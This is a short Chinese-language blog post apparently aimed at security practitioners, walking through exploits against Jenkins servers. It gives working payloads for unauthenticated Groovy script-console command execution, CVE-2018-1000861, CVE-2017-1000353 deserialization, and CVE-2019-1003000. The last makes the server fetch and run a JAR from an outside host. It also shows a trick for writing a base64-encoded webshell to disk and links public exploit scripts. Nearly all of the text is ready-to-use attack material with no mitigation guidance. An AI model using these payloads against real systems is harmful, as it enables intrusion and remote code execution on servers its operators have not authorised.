Jenkins漏洞利用復現
VSole2021-11-17 08:08:12
一、未授權訪問
訪問url:
http://172.16.20.134:8080/script

命令執行
println "ls -al".execute().text
也可以利用powershell 或者python腳本反彈shell

二、CVE-2018-1000861 遠程命令執行漏洞
payload:
securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"touch /tmp/success".execute() }}
&value=轉成url編碼

發送get請求:

python腳本:
https://github.com/orangetw/awesome-jenkins-rce-2019/blob/master/exp.py
三、CVE-2017-1000353 遠程代碼執行
工具地址:https://github.com/vulhub/CVE-2017-1000353
https://ssd-disclosure.com/archives/3171
# 生成serjava -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar 1.ser "touch /tmp/1.jsp" # 發送serpython exploit.py http://172.16.20.134:8080 1.ser
exploit.py這里要注釋下,如果你使用代理的話可以添加,這里只是復現,用不到

另外一個linux寫shell的小技巧:
echo base64后的木馬內容 |base64 -d > 1.js
jsp生成成功

四、CVE-2019-1003000 遠程代碼執行漏洞
漏洞利用
http://url.com/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='payload', root='http://poc.com')%0a@Grab(group='package', module='payload', version='1')%0aimport Payload;
poc.com是保存了JAR文件的服務器域名。
group、module、version的值對應了該jar文件的存放路徑。
修改version的值,對應的jar包的訪問路徑和文件名也發生改變。


腳本:https://github.com/wetw0rk/Exploit-Development/blob/master/CVE-2019-1003000%20%26%26%20CVE-2018-1999002%20-%20preAuth%20Jenkins%20RCE/sploit/jenkins-preauth-rce-exploit.py
https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
VSole
網絡安全專家